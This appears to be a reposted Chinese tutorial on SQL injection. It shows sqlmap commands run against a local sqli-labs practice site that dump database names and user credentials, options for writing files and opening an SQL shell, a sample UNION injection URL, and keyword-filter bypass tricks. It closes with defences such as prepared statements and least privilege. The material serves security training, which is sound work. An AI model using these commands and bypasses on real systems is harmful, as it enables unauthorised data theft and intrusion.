0

0

如何分析SQLMap和SQLi注入防御

WBOY

WBOY

发布时间:2023-05-11 18:37:06

|

1190人浏览过

|

来源于亿速云

转载

第一部分:Sqlmap使用

1.1 sqlmap介绍

1. 前边说了一些sql注入的基础语句,但是手工注入很麻烦,我们可以借助sqlmap这个强大的sql注入工具,进行数据的获取.

2. sqlmap介绍

(1)#sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及
接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

官方网站: sqlmap.org 

如何分析SQLMap和SQLi注入防御

(2)#支持的数据库:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支持多种注入方式

#UNION query SQL injection(可联合查询注入)
#Error-based SQL injection(报错型注入)
#Boolean-based blind SQL injection(布尔型注入)
#Time-based blind SQL injection(基于时间延迟注入)
#Stacked queries SQL injection(可多语句查询注入)

1.2 sqlmap安装和环境搭建

1.sqlmap安装主要步骤

   (1)安装python环境--->sqlmap需要python环境

     python下载地址: https://www.python.org/downloads/release/python-2715/)

如何分析SQLMap和SQLi注入防御

   sqlmap跟Python2.X版本兼容比较好.(python的安装步骤直接下一步即可,需要修改的就是sqlmap的安装路径,这里改成了C:\Users\Administrator\python,为了直接命令行可以进入sqlmap目录更方便操作)

   (2)Python安装不要安装到中文路径下,并把Python添加到环境变量中.

   如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御

  (3)下载并安装sqlmap,修改安装目录为C:\Users\Administrator\sqlmap

   (4)测试python环境:  进入cmd命令行,输入python,如下提示则安装成功

   C:\Users\Administrator>python
   Python 2.7.16 (v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] on win32
   Type "help", "copyright", "credits" or "license" for more information.

    >>> exit();   

   (5)sqlmap测试:  进入cmd命令行,输入sqlmap.py  -h (注意路径)

  C:\Users\Administrator\sqlmap>sqlmap.py  -h   #查看帮助信息

如何分析SQLMap和SQLi注入防御

1.3 sqlmap常用参数

#(1)获取库名,列名,权限

  • --dbs   #获取所有数据库

  • --dbms   mysql  #指定数据库类型

  • --users   #所有数据库用户(数据库本地用户名)

  • --passwords  #获取数据库密码,(有权限才能读取)

  • --technique  #指定使用哪种注入类型

  • --current-db #当前数据库

  • --banner       #获取数据库标识

  • -D database_name --tables    #-D用于指定数据,--tables获取某个库下的表

  • -D database_name -T table_name --columns #-T指定表名,--columns获取列字段

  • -D database_name -T table_name -C column_1,column_2 --dump
                    #-C指定字段名,--dump显示结果

  • --users   #列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

  • --current-user  #在大多数据库中可以获取到管理数据的用户。

  • --is-dba       #判断当前的用户是否为管理,是的话会返回True。

  • --privileges   #当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参  数指定你想看那个用户的权限。

  • --proxy   #指定一个代理服务器 eg: –proxy http://local:8080

#(2)指定前后缀:

  • #sqlmap不能探测很多的干扰字符,闭合时可以手工指定前缀和后缀

  • select * from users where id=((('1'))) and 1=1

  • #--prefix=PREFIX 注入payload字符串前缀

  • #–suffix=SUFFIX  注入payload字符串后缀
    eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))”
    --suffix “AND ('1'='1”

#(3)导出结果:

  • sqlmap -u “www.a.com/1.php?id=1” --file-write=”d:/1.txt”

  • --file-dest=”E:/wwwroot/web/one.php“

  • --batch 全自动

  • --start=开始条数 --stop=结束条数

  • --dump 导出数据

  • --dump-all 导出所有数据

  • --purge-output/ --purge  清空缓存目录

  • --sql-shell 反弹sqlshell,类似于sql查询分析器  默认路径.sqlmap (点sqlmap)

    Magician
    Magician

    Figma插件,AI生成图标、图片和UX文案

    下载

1.4 sqlmap实战举例

#Less-1--Less65通用语句(这几句是最常用的几个参数,必会型)

#(1)获取所有库名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms=mysql --batch

#解析:

-u 后加url,表示测试的url

--dbs表示获取所有数据库

--dbms表示指定数据库类型为mysql

--batch表示自动获取

-D  security --tables 表示获取指定数据库为security 的表名

-D  security -T  users --columns 表示获取指定数据库为security里users表中的列名

-D security -T users -C username,password --dump  #获取security库,users表中username和password字段的数据信息,--dump表示显示结果

#结果:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

#(2)获取当前库名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#结果:
current database:    'security'

#(3)获取当前表名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

#结果:
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+


#(4)获取当前列名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns  --batch

#结果:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

#(5)获取users表中username和password内容
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump  --batch

#结果:
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+

第二部分:sqli注入之waf绕过

2.1 SQL注入之waf绕过方法介绍

说明:这里仅举例说明绕过方式,实际场景则更加复杂. 多种绕过方式可以混合使用,还可以进行编码.

1.前边知道了sql注入的方式后,如何才能防止sql注入呢?

  • #(1)过滤注释符

  • #(2)过滤and或or

  • #(3)过滤select或union

  • #(4)过滤黑名单

2.过滤了and/or绕过方式有哪些?

  • #(1)mysql中大小写不敏感,都可以正确执行;===>使用大小写变形

  • #(2)mysql支持十六进制,用16进制或用URL编码;

  • #(3)用符号替换单词   ===>符号绕过 and(&&)  or(||)

  • #(4)内联注释和多行注释===>在敏感词汇中添加注释a/**/nd   双写绕过oORr

3.当然还有其他方法,我们以这几种过滤方式为例,来说说如何绕过.

   真实场景中有waf设备,waf其实也是通过过滤一些关键字来防止sql注入的.

2.2 sql注入之绕过waf实验

1.过滤了注释符(Less-23为例)

#(1)过滤注释符的原因:对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
单行注释:  --+ 或 --空格  或 #
多行注释: /* 多行注释内容 */

#(2)过滤函数preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

如何分析SQLMap和SQLi注入防御

#(3)绕过注释符:
利用注释符过滤不能成功闭合单引号等,换一种思路 利用 or '1'='1闭合单引号等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

如何分析SQLMap和SQLi注入防御

2.过滤了and或or应该如何绕过?(Less-25为例)

(1)源码分析:可以看到把or或and替换为了空

如何分析SQLMap和SQLi注入防御

(2)操作步骤

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

3.过滤了空格应该如何绕过?(Less-26为例)

(1)用%0a来充当空格

如何分析SQLMap和SQLi注入防御

4.过滤了select/union该如何绕过?(Less-27为例)

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

第三部分:sqli注入防御

3.1 sql注入防御方法

1.常用防护措施:

#(1)、关闭错误提示: PHP配置文件php.ini中的display_errors=Off
#(2)、魔术引号(与addslashes的效果相同):当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)会自动转为含有反斜线的转义字符
#(3)、对数据进行过滤:比如过滤掉and/or/union等常用关键词
#(4)、控制连接数据库的用户权限:每个库针对单个库设置一个管理员,不要用root权限.
#(5)、预处理和参数化(PDO):处理用户传入的参数,返回布尔值,不是单纯的对数据进行"拼接",从而避免sql注入.
#(6)、硬件防护措施(WAF等硬件)

相关专题

更多
Java 桌面应用开发(JavaFX 实战)
Java 桌面应用开发(JavaFX 实战)

本专题系统讲解 Java 在桌面应用开发领域的实战应用,重点围绕 JavaFX 框架,涵盖界面布局、控件使用、事件处理、FXML、样式美化(CSS)、多线程与UI响应优化,以及桌面应用的打包与发布。通过完整示例项目,帮助学习者掌握 使用 Java 构建现代化、跨平台桌面应用程序的核心能力。

37

2026.01.14

php与html混编教程大全
php与html混编教程大全

本专题整合了php和html混编相关教程,阅读专题下面的文章了解更多详细内容。

19

2026.01.13

PHP 高性能
PHP 高性能

本专题整合了PHP高性能相关教程大全,阅读专题下面的文章了解更多详细内容。

37

2026.01.13

MySQL数据库报错常见问题及解决方法大全
MySQL数据库报错常见问题及解决方法大全

本专题整合了MySQL数据库报错常见问题及解决方法,阅读专题下面的文章了解更多详细内容。

19

2026.01.13

PHP 文件上传
PHP 文件上传

本专题整合了PHP实现文件上传相关教程,阅读专题下面的文章了解更多详细内容。

16

2026.01.13

PHP缓存策略教程大全
PHP缓存策略教程大全

本专题整合了PHP缓存相关教程,阅读专题下面的文章了解更多详细内容。

6

2026.01.13

jQuery 正则表达式相关教程
jQuery 正则表达式相关教程

本专题整合了jQuery正则表达式相关教程大全,阅读专题下面的文章了解更多详细内容。

3

2026.01.13

交互式图表和动态图表教程汇总
交互式图表和动态图表教程汇总

本专题整合了交互式图表和动态图表的相关内容,阅读专题下面的文章了解更多详细内容。

45

2026.01.13

nginx配置文件详细教程
nginx配置文件详细教程

本专题整合了nginx配置文件相关教程详细汇总,阅读专题下面的文章了解更多详细内容。

9

2026.01.13

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号